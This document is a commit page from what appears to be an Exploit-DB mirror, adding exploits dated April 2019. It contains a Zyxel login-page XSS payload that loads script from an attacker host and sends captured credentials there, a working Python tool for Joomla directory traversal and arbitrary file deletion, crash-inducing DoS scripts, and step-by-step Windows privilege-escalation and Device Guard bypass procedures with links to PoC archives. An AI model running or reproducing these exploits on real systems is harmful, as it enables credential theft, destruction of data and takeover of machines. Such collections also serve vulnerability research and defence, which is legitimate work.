bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2019-04-17

Browse source 
13 changes to exploits/shellcodes

PCHelpWare V2 1.0.0.5 - 'SC' Denial of Service (PoC)
PCHelpWare V2 1.0.0.5 - 'Group' Denial of Service (PoC)
AdminExpress 1.2.5 - 'Folder Path' Denial of Service (PoC)
Zoho ManageEngine ADManager Plus 6.6 (Build < 6659) - Privilege Escalation
Microsoft Windows 10 1809 / 1709 - CSRSS SxSSrv Cached Manifest Privilege Escalation
Microsoft Windows 10 1809 - LUAFV Delayed Virtualization MAXIMUM_ACCESS DesiredAccess Privilege Escalation
Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cross Process Handle Duplication Privilege Escalation
Microsoft Windows 10 1809 - LUAFV LuafvCopyShortName Arbitrary Short Name Privilege Escalation
Microsoft Windows 10 1809 - LUAFV NtSetCachedSigningLevel Device Guard Bypass
Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cache Manager Poisoning Privilege Escalation
Microsoft Windows 10 1809 - LUAFV PostLuafvPostReadWrite SECTION_OBJECT_POINTERS Race Condition Privilege Escalation
Zyxel ZyWall 310 / ZyWall 110 / USG1900 / ATP500 / USG40 - Login Page Cross-Site Scripting
Joomla Core 1.5.0 - 3.9.4 - Directory Traversal / Authenticated Arbitrary File Deletion
This commit is contained in:
Offensive Security 2019-04-17 05:02:03 +00:00
parent 0d739de6f9
commit ab1398c24c
14 changed files with 709 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

80
exploits/hardware/webapps/46706.txt Normal file
View file

@ -0,0 +1,80 @@
# Exploit Title: Reflected XSS on Zyxel login pages
# Date: 10 Apr 2019
# Exploit Author: Aaron Bishop
# Vendor Homepage: https://www.zyxel.com/us/en/
# Version: V4.31
# Tested on: ZyWall 310, ZyWall 110, USG1900, ATP500, USG40 - weblogin.cgi, webauth_relogin.cgi
# CVE : 2019-9955
1. Description
==============
Several Zyxel devices are vulnerable to a reflected Cross-Site Scripting via the
mp_idx parameter on weblogin.cgi and webauth_relogin.cgi.
2. Proof of Concept
=============
Host a malicious file JavaScript file named 'z', or any other single character,
locally. The contents of 'z' for the following example are:
-----
$("button").click(function() {
$.get("//$LHOST", { username: $("input:text").val(), password: $("input:password").val(), host: location.hostname});
});
-----
Close the mp_idx variable with "; and Use the getScript functionality of jQuery
to include the malicious file:
Request:
GET /?mobile=1&mp_idx=%22;$.getScript(%27//$LHOST/z%27);// HTTP/1.1
Host: $RHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 200 OK
Date: Wed, 10 Apr 2019 23:13:39 GMT
Cache-Control: no-cache, private
Pragma: no-cache
Expires: Mon, 16 Apr 1973 13:10:00 GMT
Connection: close
Content-Type: text/html
Content-Length: 7957
<!DOCTYPE html>
<html>
<head>
<title>Welcome</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta charset="utf-8">
<meta http-equiv="pragma" content="no-cache">
<link href="/ext-js/mobile/css/jquery.mobile-1.4.2.min.css?v=180711001117" rel="stylesheet" type="text/css">
<link href="/ext-js/mobile/css/style.css?v=180711001117" rel="stylesheet" type="text/css">
<link href="/ext-js/mobile/css/theme.css?v=180711001117" rel="stylesheet" type="text/css">
<link rel="stylesheet" type="text/css" href="/logo/mobile_custmiz_page.css?v=180711001117" />
<script src="/ext-js/mobile/js/jquery-1.8.2.min.js?v=180711001117" type="text/javascript"></script>
<script src="/ext-js/mobile/js/jquery.mobile-1.4.2.min.js?v=180711001117" type="text/javascript"></script>
<script type="text/javascript" src="/lang/language_panel.js?v=180711001117"></script>
<script language="JavaScript">
var errorNum = 0;
var mp_idx = "";$.getScript('//$LHOST/z');//";
...
When the login form is submitted, the host for the malicious file gets a request
containing the login credentials and target system:
$LHOST - - [10/Apr/2019 23:04:41] "GET /z?_=1554937481076 HTTP/1.1" 200 -
$LHOST - - [10/Apr/2019 23:04:49] "GET /?username=test&password=test&host=$RHOST HTTP/1.1" 200 -

180
exploits/php/webapps/46710.py Executable file
View file

@ -0,0 +1,180 @@
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion
# Date: 2019-March-13
# Exploit Author: Haboob Team
# Web Site: haboob.sa
# Email: research@haboob.sa
# Software Link: https://www.joomla.org/
# Versions: Joomla 1.5.0 through Joomla 3.9.4
# CVE : CVE-2019-10945
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945
#
# Usage:
# List files in the specified directory:
# python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory name>
#
# Delete file in specified directory
# python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory to list> --rm=<file name>
import re
import tempfile
import pickle
import os
import hashlib
import urllib
try:
import click
except ImportError:
print("module 'click' doesn't exist, type: pip install click")
exit(0)
try:
import requests
except ImportError:
print("module 'requests' doesn't exist, type: pip install requests")
exit(0)
try:
import lxml.html
except ImportError:
print("module 'lxml' doesn't exist, type: pip install lxml")
exit(0)
mediaList = "?option=com_media&view=mediaList&tmpl=component&folder=/.."
print '''
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion
# Web Site: Haboob.sa
# Email: research@haboob.sa
# Versions: Joomla 1.5.0 through Joomla 3.9.4
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945
_ _ ____ ____ ____ ____
| | | | /\ | _ \ / __ \ / __ \| _ \
| |__| | / \ | |_) | | | | | | | |_) |
| __ | / /\ \ | _ <| | | | | | | _ <
| | | |/ ____ \| |_) | |__| | |__| | |_) |
|_| |_/_/ \_\____/ \____/ \____/|____/
'''
class URL(click.ParamType):
name = 'url'
regex = re.compile(
r'^(?:http)s?://' # http:// or https://
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain...
r'localhost|' # localhost...
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip
r'(?::\d+)?' # optional port
r'(?:/?|[/?]\S+)$', re.IGNORECASE)
def convert(self, value, param, ctx):
if not isinstance(value, tuple):
if re.match(self.regex, value) is None:
self.fail('invalid URL (%s)' % value, param, ctx)
return value
def getForm(url, query, cookie=''):
r = requests.get(url, cookies=cookie, timeout=5)
if r.status_code != 200:
print("invalid URL: 404 NOT FOUND!!")
exit(0)
page = r.text.encode('utf-8')
html = lxml.html.fromstring(page)
return html.xpath(query), r.cookies
def login(url, username, password):
csrf, cookie = getForm(url, '//input/@name')
postData = {'username': username, 'passwd': password, 'option': 'com_login', 'task': 'login',
'return': 'aW5kZXgucGhw', csrf[-1]: 1}
res = requests.post(url, cookies=cookie.get_dict(), data=postData, allow_redirects=False)
if res.status_code == 200:
html = lxml.html.fromstring(res.text)
msg = html.xpath("//div[@class='alert-message']/text()[1]")
print msg
exit()
else:
get_cookies(res.cookies.get_dict(), url, username, password)
def save_cookies(requests_cookiejar, filename):
with open(filename, 'wb') as f:
pickle.dump(requests_cookiejar, f)
def load_cookies(filename):
with open(filename, 'rb') as f:
return pickle.load(f)
def cookies_file_name(url, username, password):
result = hashlib.md5(str(url) + str(username) + str(password))
_dir = tempfile.gettempdir()
return _dir + "/" + result.hexdigest() + ".Jcookie"
def get_cookies(req_cookie, url, username, password):
cookie_file = cookies_file_name(url, username, password)
if os.path.isfile(cookie_file):
return load_cookies(cookie_file)
else:
save_cookies(req_cookie, cookie_file)
return req_cookie
def traversal(url, username, password, dir=None):
cookie = get_cookies('', url, username, password)
url = url + mediaList + dir
files, cookie = getForm(url, "//input[@name='rm[]']/@value", cookie)
for file in files:
print file
pass
def removeFile(baseurl, username, password, dir='', file=''):
cookie = get_cookies('', baseurl, username, password)
url = baseurl + mediaList + dir
link, _cookie = getForm(url, "//a[@target='_top']/@href", cookie)
if link:
link = urllib.unquote(link[0].encode("utf8"))
link = link.split('folder=')[0]
link = link.replace("folder.delete", "file.delete")
link = baseurl + link + "folder=/.." + dir + "&rm[]=" + file
msg, cookie = getForm(link, "//div[@class='alert-message']/text()[1]", cookie)
if len(msg) == 0:
print "ERROR : File does not exist"
else:
print msg
else:
print "ERROR:404 NOT FOUND!!"
@click.group(invoke_without_command=True)
@click.option('--url', type=URL(), help="Joomla Administrator URL", required=True)
@click.option('--username', type=str, help="Joomla Manager username", required=True)
@click.option('--password', type=str, help="Joomla Manager password", required=True)
@click.option('--dir', type=str, help="listing directory")
@click.option('--rm', type=str, help="delete file")
@click.pass_context
def cli(ctx, url, username, password, dir, rm):
url = url+"/"
cookie_file = cookies_file_name(url, username, password)
if not os.path.isfile(cookie_file):
login(url, username, password)
if dir is not None:
dir = dir.lstrip('/')
dir = dir.rstrip('/')
dir = "/" + dir
if dir == "/" or dir == "../" or dir == "/.":
dir = ''
else:
dir = ''
print dir
if rm is not None:
removeFile(url, username, password, dir, rm)
else:
traversal(url, username, password, dir)
cli()

22
exploits/windows/dos/46708.py Executable file
View file

@ -0,0 +1,22 @@
# -*- coding: utf-8 -*-
# Exploit Title: PCHelpWareV2 1.0.0.5 - 'SC' Denial of Service (PoC)
# Date: 15/04/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.uvnc.com/home.html
# Software Link: http://www.uvnc.eu/download/pchw2/PCHelpWareV2.msi
# Version: 1.0.0.5
# Tested on: Windows 10
# Proof of Concept:
# 1.- Run the python script "PCHelpWareV2_create_.py", it will create a image "exploit.bmp"
# 2.- Open PCHelpWareV2 Viewer
# 3.- Go to Tools -> Create SC
# 4.- Click on button -> Browse (any "Browse" button), and select the 'exploit.bmp' image created
# 5.- Click on button -> Create SC
# 6.- Crashed
buffer = "\x41" * 10000
f = open ("exploit.bmp", "w")
f.write(buffer)
f.close()

21
exploits/windows/dos/46709.py Executable file
View file

@ -0,0 +1,21 @@
# -*- coding: utf-8 -*-
# Exploit Title: PCHelpWareV2 1.0.0.5 - 'Group' Denial of Service (PoC)
# Date: 15/04/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.uvnc.com/home.html
# Software Link: http://www.uvnc.eu/download/pchw2/PCHelpWareV2.msi
# Version: 1.0.0.5
# Tested on: Windows 10
# Proof of Concept:
# 1.- Run the python script "PCHelpWareV2.py", it will create a new file "PCHelpWareV2.txt"
# 2.- Copy the text from the generated PCHelpWareV2.txt file to clipboard
# 3.- Open PCHelpWareV2 Viewer
# 4.- Go to Properties
# 5.- Paste clipboard in 'Group' field and click on button 'Ok'
# 6.- Crashed
buffer = "\x41" * 100
f = open ("PCHelpWareV2.txt", "w")
f.write(buffer)
f.close()

21
exploits/windows/dos/46711.py Executable file
View file

@ -0,0 +1,21 @@
# -*- coding: utf-8 -*-
#!/usr/bin/python
# Exploit Title: AdminExpress 1.2.5 - Denial of Service (PoC)
# Date: 2019-04-12
# Exploit Author: Mücahit İsmail Aktaş
# Software Link: https://admin-express.en.softonic.com/
# Version: 1.2.5.485
# Tested on: Windows XP Professional SP2
# Description:
#
# 1) Click the "System Compare" button
# 2) Paste the payload in the "Folder Path" (left)
# 3) Click the scales icon (in the middle, right side of "Folder Path")
#
buffer = "A" * 5000
print("Payload: \n\n" + buffer + "\n")

11
exploits/windows/local/46707.txt Normal file
View file

@ -0,0 +1,11 @@
# Exploit Title: Zoho ManageEngine ADManager Plus 6.6 (Build < 6659) Privilege Escalation
# Date: 15th April 2019
# Exploit Author: Digital Interruption
# Vendor Homepage: https://www.manageengine.co.uk/
# Version: 6.6 (Build 6658)
# Tested on: Windows Server 2012 R2
# CVE : CVE-2018-19374
Due to weak permissions setup on the bin, lib and tools directories within the ManageEngine installation directory, it is possible for any authenticated user to modify several core files.
To escalate privileges to that of LOCAL SYSTEM, drop a payload onto the system and then add a line to bin\ChangeJRE.bat to execute it every time the system is rebooted.

50
exploits/windows/local/46712.txt Normal file
View file

@ -0,0 +1,50 @@
Windows: CSRSS SxSSrv Cached Manifest EoP
Platform: Windows 10 1809, 1709
Class: Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary (and others)
Summary:
The SxS manifest cache in CSRSS uses a weak key allowing an attacker to fill a cache entry for a system binary leading to EoP.
Description:
Manifest files are stored as XML, typically inside the PE resource section. To avoid having to parse the XML file each time a process starts CSRSS caches the parsed activation context binary format in a simple database. This cache can be queried during process startup or library loading by calling into CSRSS via CsrClientCall resulting in calls to BaseSrvSxsCreateProcess or BaseSrvSxsCreateActivationContext inside SXSSRV.DLL.
The database is an AVL tree and uses the function BaseSrvActivationContextCacheCompareEntries to identify a hit or miss in the cache. The comparison function only checks the Win32 path to the file, the Win32 base path, the language string, the last write timestamp of the executable and some flags. BaseSrvSxsCreateProcess which is sent during process creation in CreateProcessInternal via the call to BasepConstructSxsCreateProcessMessage queries the cache for a new process, adding an entry to the cache if it doesn’t already exist. All the values used by the cache seem to be passed to BasepConstructSxsCreateProcessMessage with no further checking taking place. If an executable does not have a cached manifest entry a process can trivially add their own entry into the cache which would match against another executable file on the system. Once CSRSS has processed the manifest it’ll map the binary activation context into the new process’ memory and update the ActivationContextData value in the PEB so that it can be used.
Adding an arbitrary cache entry is a problem as the keying doesn’t take into account the different privilege levels in the same session. For example it should be possible to use this to escape a sandbox by filling in a cache entry for a process that will run at normal user privilege, when that process starts it’ll get the arbitrary cache entry allowing the attacker to hijack COM classes or redirect DLLs. There doesn’t seem to be any AppContainer specific flags (but I could have missed them). This is also a, relatively, trivial UAC bypass but of course that’s not a security boundary.
Polluting the cache for the user’s session doesn’t impact other sessions. Session 0 would be an interesting target, however in theory it’s not directly accessible and trying to connect to CSRSS’s ALPC port is rejected. If you have an arbitrary Session 0 code execution bug (such as case 47812) then you could access CSRSS but can it be done without any futher bugs? There’s a quirk in the handling of BaseSrvSxsCreateProcess. The call is made from the session of the process which is creating the new process, not the session of the new process. This means that any Session 0 service which creates user processes in other sessions will cache the manifest of that file in Session 0 CSRSS. Without directly calling CSRSS how can the arbitrary cache entry be created?
The data passed to CSRSS is based on the data passed to CreateProcess, for example if you execute c:\windows\system32\abc.exe then that’s what’s passed to the cache, this it turns out can be hijacked, as most privileged process creation impersonates the caller (otherwise there might be a security bug) then a normal user can hijack the system drive during CreateProcess. By redirecting the system drive to an arbitrary directory the manifest data is parsed from an arbitrary executable, but the keying information passed to CSRSS is based on what the service thinks it’s created. Turns out this is made all the easier as you Wont Fixed this exactly problem 3 years ago in case MSRC 30096, oops.
To summarise to exploit this issue for user to privileged process in Session 0 you do the following:
1. Find an executable which meets the following criteria
* Can be started by a normal user account and runs in session 0 as a privileged user. COM, services or scheduled tasks are usually good places to look for targets.
* The executable file has an embedded manifest, if the file doesn’t have a manifest then the cached manifest is not parsed or applied.
* The executable doesn’t get run very often, once the executable has been cached it’s hard to clear that entry again from a normal user account. You can modify a registry value in HKLM and it might be updated if an installer runs but I didn’t investigate this in detail.
2. Create an executable with a manifest which redirects a COM registration or similar to an arbitrary path, place in a temporary directory with the path information from the the file in 1. E.g. if you want to hijack c:\windows\system32\abc.exe, create the directory %TEMP%\windows\system32 and copy the executable as abc.exe. Clone the last write timestamp from the target file to the newly copied file.
3. Redirect the system drive to the temporary folder, when opening the file under impersonation it will be redirected to the executable with the target manifest.
4. Start the process using a service in Session 0 which will also impersonate during creation. WMI Win32_Process::Create is perfect for this.
5. Once cached start the original executable as the privileged user and induce it to load the hijacked COM class.
One quirk is when the XML file is parsed it doesn’t allow parent relative paths for DLLs, although it will allowing child relative (i.e. ..\..\abc.dll is blocked but test\abc.dll is allowed). This quirk can be circumvented by modifying the binary data before registering it with CSRSS, as the XML file is parsed in the creating process for a sandbox escape. For exploiting session 0 we can just pick a directory the user can write to relative to system32, Tasks is a good a place as any.
Proof of Concept:
I’ve provided a PoC as a C# project and C++ DLL. The PoC hijacks the CoFilterPipeline Class which is implemented in printfilterpipelinesvc.exe. This only runs as LOCAL SERVICE, but that includes Impersonate and Assign Primary Token privileges which is effectively admin. It was the best I could find at short notice as most of the other targets were used regularly which prevented the user from hijacking the cached entry. When the COM class is created is can be hijacked by querying for one of it’s interfaces, this results in loading the proxy class which the manifest redirects to the file “tasks\hijack\hijack.dll”, as printfilterpipelinesvc is in System32 this results in a controlled DLL being loaded into process.
1) Compile the C# project in Release for “Any CPU”. It will need to grab the NtApiDotNet from NuGet to work.
2) Run the PoC_ExpoitManifestCache.exe from x64\Release folder, ensuring the folder also contains hijack.dll.
If the PoC fails with “Query succeeded, likely we couldn't hijack the proxy class” or "Cached manifest not used, perhaps we were too late?" It means that the printfilterpipelinesvc must have been run in session 0 previously. To test reboot the machine and try again as that should clear the cache. I don’t know if the cache gets cleared with power-off and power-on due to the fast boot features.
Expected Result:
The manifest file is not used by the privileged process.
Observed Result:
The manifest file is hijacked, an arbitrary DLL is loaded into a privileged process and a copy of notepad is started at LOCAL SERVICE.
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46712.zip

55
exploits/windows/local/46713.txt Normal file
View file

@ -0,0 +1,55 @@
Windows: LUAFV Delayed Virtualization MAXIMUM_ACCESS DesiredAccess EoP
Platform: Windows 10 1809 (not tested earlier)
Class: Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary
Summary:
The LUAFV driver reuses the file’s create request DesiredAccess parameter, which can include MAXIMUM_ACCESS, when virtualizing a file resulting in EoP.
Description:
The LUAFV is an enabled by default file system filter driver introduced in Windows Vista to support old applications which write to administrative locations such a System32 by virtualizing file access when certain criteria are met. The initial criteria is the process’ token needs to have the VirtualizationEnabled flag set to TRUE. This is done automatically for certain process types for app-compat but can be changed through NtSetInformationToken as long as the VirtualizationAllowed flag is also TRUE. This is the case for all normal users, even on Windows 10 1809.
Outside of the token enable flag the file being opened must also meet a set of criteria:
1) The file being opened is in one of a number of protected locations.
2) The file can’t be owned by TrustedInstaller, but must have an ACE which grants the administrator full access.
3) The file name must not have one of a number of banned extensions, such as .exe.
4) The caller must be denied one of a set of write accesses when opening the file.
If the file is virtualized a copy of the real file or directory is placed in the user’s VirtualStore inside %LOCALAPPDATA%, however for performance reasons (presumably) the driver won’t always do the copy immediately. If a caller’s file creation request meets the four criteria for a file which already exists, but a copy does not currently exist in the VirtualStore then the driver enables Delayed Virtualization on the file. This results in the file being opened with the requested access rights with the original file opened with read only access. If a caller only uses the handle for read operations then those requests are serviced by the original file. If the caller makes a “write” request such as writing to the file or mapping the file writable then the virtualization kicks in, generating the file in the VirtualStore, opening that new file for the original write access and modifies the FILE_OBJECT’s context to now read and write to the new virtualized file. The original FILE_OBJECT can’t be replaced (unlike if the store file already exists which can be dealt with using a reparse operation from the filter) therefore many of the original properties of the “fake” file handle persist such as the granted access.
The vulnerability occurs in this process because during the initial filter process in LuafvPostCreate where delayed virtualization is setup the driver stores the SecurityContext->DesiredAccess as the requested access. This captured access is then used in LuafvPerformDelayedVirtualization when opening the newly created store file. As it’s possible to specify MAXIMUM_ACCESS as the DesiredAccess this results in the “fake” FILE_OBJECT’s handle access being set to FILE_ALL_ACCESS. When opening the store file MAXIMUM_ACCESS could result in a lower set access of access rights, however as the original FILE_OBJECT’s handle can’t be changed the caller can now pass file operations to the “fake” file and the driver will redirect them to the store file without further checking. Meaning if only read access was granted on the store file the user could bypass that and write to it.
You can’t just pass MAXIMUM_ALLOWED on its own during file creation as the driver wouldn’t see that as meeting criteria 4. So you also need to also pass one of the banned write access rights in DesiredAccess. However for the exploit to work this must also be granted on the store file so redirecting the create to an arbitrary location (using say a mount point) isn’t sufficient. However there’s two important things to observe:
1) As long as using the FILE_OPEN_IF disposition DELETE is a considered a banned write access.
2) A hardlink to a non-writable file can be created as a normal user. As long as the user has FILE_DELETE_CHILD on the directory containing the link then they’ll also be granted DELETE on the target file.
Therefore we can exploit this by doing the following:
1) Enable virtualization on the token (this works in 32 or 64 bit processes)
2) Open an existing file which would meet the rest of the virtualization criteria and isn’t currently virtualized with MAXIMUM_ALLOWED | DELETE as the access mask and FILE_OPEN_IF as the disposition.
3) Once opened the handle’s granted access will be FILE_ALL_ACCESS.
4) Create the target virtualized directory in %LOCALAPPDATA% and add a hardlink to a file to write to as the target virtualized name.
5) Perform an operation on the “fake” file handle to cause virtualization to occur, such as sending an FSCONTROL. The driver will try and virtualize the file, notice the file already exists and then open the hardlink with MAXIMUM_ALLOWED | DELETE. As DELETE is allowed this will return a read only handle with DELETE access.
6) Write to the “fake” file handle, as the handle has write access this will pass through the initial system call layers. The driver will then forward the request to the virtual file which was opened only for read but will complete successfully allowing the caller to modify a file they can’t normally write to.
Fixing wise the new store file should be opened with the matching granted access on the original “fake” file handle. That way there can be no mismatch between the access granted on the “fake” handle and the backing virtual store file. It would also be interesting to know how often file virtualization is needed on modern systems and whether you could just remove it entirely.
These operations can’t be done from any sandbox that I know of so it’s only a user to system privilege escalation.
Proof of Concept:
I’ve provided a PoC as a C# project. It will overwrite an existing file on the disk with arbitrary contents.
1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) As a normal user run the PoC and pass the path to a file to overwrite on the same drive as the virtual store. To prove it works the file should not be writable by the user normally. Note that the file needs to be shareable for write access otherwise it’ll fail due to the sharing violation.
Expected Result:
The virtualization operation fails.
Observed Result:
The virtualization operation succeeds with the string “FAKE CONTENT” written to the file.
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46713.zip

42
exploits/windows/local/46714.txt Normal file
View file

@ -0,0 +1,42 @@
Windows: LUAFV Delayed Virtualization Cross Process Handle Duplication EoP
Platform: Windows 10 1809 (not tested earlier)
Class: Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary
Summary:
The LUAFV driver doesn’t take into account a virtualized handle being duplicated to a more privileged process resulting in EoP.
Description:
When a caller creates the virtualized file handle the process token is checked for VirtualizationEnabled. If the flag is set and the file create request meets all the criteria for delayed virtualization the driver collates all the necessary information such as the virtual store location for the resulting file if it needs to be copied and stores it in the file object’s context.
When a caller performs an operation on the file which is considered a write action, such as writing or issuing any FsControl request then the method LuafvPreWrite is called which will call LuafvPerformDelayedVirtualization. This results in the store file being created and the contents of the original file copied into the new store file before assigning the new file to the original “fake” file object so that the user can continue to use the file.
The vulnerability occurs during LuafvPerformDelayedVirtualization. The driver doesn’t take into account the possibility that the virtualized file handle has been duplicated to a new process, specifically one which runs at higher privileges. For example if a normal user application creates the virtualized file, but then gets a SYSTEM service to duplicate the handle to itself and call one of the mechanisms to trigger LuafvPerformDelayedVirtualization the file creation will run as the SYSTEM user not the original user, but the path to the file will be the original user’s virtual store.
Examples of possible duplicate primitives would be RPC/COM services which duplicate the handle either explicitly through the system_handle RPC attribute or manually by querying for the caller’s PID and calling DuplicateHandle. Another would be a kernel driver which opens a handle in the current user’s context (or takes a handle parameter) but passes that handle to a system thread for a long running operation. In both these cases the file operation does have to occur without the privileged service impersonating the original caller.
You can exploit this behavior in at least two ways. Firstly you could replace the virtual store directory with a mount point. When the virtualization process goes to create the final file it will follow the mount point and create the file in an arbitrary location. The contents of the file are completely controllable by the caller, but even if the privileged code overwrites part of the file the original opened handle can be used to get write access to the file afterwards. The second way would be to drop a hardlink to a file that the privileged service can write to in the virtual store, then when the file is opened by the service it becomes possible for the original caller to modify the file.
Fixing wise I’d probably double check something in LuafvPerformDelayedVirtualization before continuing with the file copy. Perhaps something as simple as user SID + IL would be sufficient, or only for users in the same authentication session as that would even prevent its abuse in UAC cases.
These operations can’t be done from any sandbox that I know of so it’s only a user privilege escalation. Note that the user which manipulates the duplicated handle doesn’t need to be an admin, as it’d be possible to modify files owned by that user so it might be possible to abuse this for cross-session or LOCAL SERVICE/NETWORK SERVICE attacks.
Proof of Concept:
I’ve provided a PoC as a C# project. It will create the file dummy.txt with arbitrary contents inside the windows folder. Note that this PoC is manual, I’ve not gone through and worked out a system service which will perform the necessary operations but I’m confident one will exist as handle duplication is a fairly common technique and you don’t even need to write to the file just perform one of the known actions.
1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) As a normal user run the PoC. If there are no errors you should see the line: “Re-run the PoC as an admin with arguments - X Y”.
3) Run as the PoC again as an admin, passing X and Y as arguments from step 2. This admin can be SYSTEM, it doesn’t matter what session or user it runs as.
Expected Result:
The virtualization operation fails.
Observed Result:
The virtualization operation succeeds and the file c:\windows\dummy.txt is created with arbitrary contents.
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46714.zip

70
exploits/windows/local/46715.txt Normal file
View file

@ -0,0 +1,70 @@
Windows: LUAFV LuafvCopyShortName Arbitrary Short Name EoP
Platform: Windows 10 1809 (not tested earlier)
Class: Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary
Summary:
The LUAFV driver bypasses security checks to copy short names during file virtualization which can be tricked into writing an arbitrary short name leading to EoP.
Description:
When creating a virtualized file in LuafvCopyFile one of the things that the driver copies across is the short name of the original file by calling LuafvCopyShortName. This uses the FileShortNameInformation information class to set the short name, however the problem with using this is it normally requires SeRestorePrivilege to be enabled, which a non-administrator won’t have access to. Therefore to bypass the privilege check the virtualized file is reopened without security checks, which results in the check being ignored.
The code looks roughly like the following:
NSTATUS LuafvCopyShortName(PFLT_INSTANCE Instance,
PFILE_OBJECT ReadObject,
HANDLE WriteHandle) {
HANDLE FileHandle;
PFILE_OBJECT WriteObject;
NTSTATUS = FltCreateFileEx2(
LuafvDriverData,
Instance,
&FileHandle,
&WriteObject,
FILE_WRITE_ATTRIBUTES,
...,
IO_NO_PARAMETER_CHECKING);
FILE_NAME_INFORMATION Name = {};
if (NT_SUCCESS(status)) {
if (NT_SUCCESS(FltQueryInformationFile(Instance, ReadHandle, &Name, sizeof(Name),
FileAlternateNameInformation))) {
status = FltSetInformationFile(Instance, WriteObject,
&Name, IoStatusBlock.Information, FileShortNameInformation);
}
}
return status;
}
We can see in the code the writable file is re-opened with new access and without specifying IO_FORCE_ACCESS_CHECK. As FILE_OPEN_FOR_BACKUP_INTENT is specified then NTFS will mark this file as having restore privilege, even though the caller doesn’t, as the previous mode will be KernelMode. The original file is then queried for its alternate name (which is really its short name) and the short name is set through the FileShortNameInformation which will now succeed due to the way the file handle was opened.
Of course the question is how would you get this code to write an arbitrary short name? Although it’s not obvious if the name of the file is already a short name (as in a 8.3 DOS compatible name) then FileAlternateNameInformation doesn’t fail but returns the normal file name back to the caller. Therefore we can exploit this as follows:
1) Create a file with the arbitrary short name inside a directory which is virtualized, ProgramData is ideal for this as we can create arbitrary files. Make the file writeable only to administrators.
2) Open the file for virtualization, but don’t do anything to cause delayed virtualization to occur.
3) Use some symbolic tricks in the VirtualStore directory to cause the creation of that file to be redirected to a long name which would normally have an auto-generated short name.
4) Force the delayed virtualization to occur, the file with the long name will be created, however the short name will be read from the source file which has an arbitrary name. The short name is written bypassing security checks.
There’s probably other ways of doing this without symbolic link tricks, for example there’s a race between the time the file is opened and when the short name is queries. As the file is opened with FILE_SHARE_DELETE it should be possible to rename the source file between the initial open but before reading the short name.
What you could do with this ability is another matter. You could possibly trick some parsing operation which is relying on short names. Or you could create a directory which had two “normal” names rather than one auto generated one which could trick certain things. At any rate the EoP is the fact we can do this without needing SeRestorePrivilege.
I’m not going to speculate on how to fix this, as said while you might be able to block mount point traversal (seems unlikely as the user’s profile could be on a remote share or another drive) there’s probably other ways around this.
Proof of Concept:
I’ve provided a PoC as a C# project. It will create an arbitrary file with an arbitrary short file name.
1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) As a normal user run the PoC passing the name of the target file to create (with a long file name) and the arbitrary short file name.
Expected Result:
The virtualization operation fails.
Observed Result:
The virtualization operation succeeds and the file has an arbitrary short name.
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46715.zip

39
exploits/windows/local/46716.txt Normal file
View file

@ -0,0 +1,39 @@
Windows: LUAFV NtSetCachedSigningLevel Device Guard Bypass
Platform: Windows 10 1809 (not tested earlier). Note I’ve not tested this on Windows 10 SMode.
Class: Security Feature Bypass
Summary:
The NtSetCachedSigningLevel system call can be tricked by the operation of LUAFV to apply a cached signature to an arbitrary file leading to a bypass of code signing enforcement under UMCI with Device Guard.
Description:
As I’ve hit this API multiple times by now I’m not going to explain its operation. The novel aspect of this issue is that you can get the LUAFV driver to win the signing race between reading the file to determine the hash to sign and the file the kernel EA is assigned to.
The exploit is as follows:
1) Create a file with the contents of a valid Microsoft signed file, such as notepad.exe in a virtualized location.
2) Get LUAFV to virtualize that file by requesting DELETE access. DELETE is not considered a write access right for the purposes of any checks in the signing process.
3) Copy the unsigned executable to the virtual store with the target virtualized name.
4) Call NtSetCachedSigningLevel on the virtualized file specifying flag 4.
This sequence results in the signing code reading the virtualized file, which contains the contents of notepad.exe and generating the signature based on that data. However when it goes to write the kernel EA the LUAFV driver considers that a write operation and virtualizes the file underneath. As we’ve created an arbitrary file in the virtual store the driver binds the file object to the unsigned file before writing out the kernel EA. This results in the EA going to the unsigned file rather than the original signed file. As you can’t virtualize files with executable extensions you must ensure the signed file has an allowed extension, however once you’ve signed the file you can rename it to something more appropriate.
Note that I have checked that Windows 10 Pro SMode does load the LUAFV driver, however I’ve not checked that this bypass will work on it (but no reason to believe it doesn’t).
Proof of Concept:
